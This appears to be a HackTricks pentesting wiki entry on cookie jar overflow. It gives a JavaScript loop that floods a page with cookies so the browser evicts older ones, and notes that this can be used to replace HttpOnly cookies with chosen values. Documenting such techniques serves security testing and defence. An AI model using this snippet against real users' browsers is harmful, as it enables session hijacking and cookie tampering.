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The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}Notice, that third party cookies pointing to a different domain won't be overwritten.
{% hint style="danger" %} This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.
Check this in this post with a lab. {% endhint %}
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
-
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.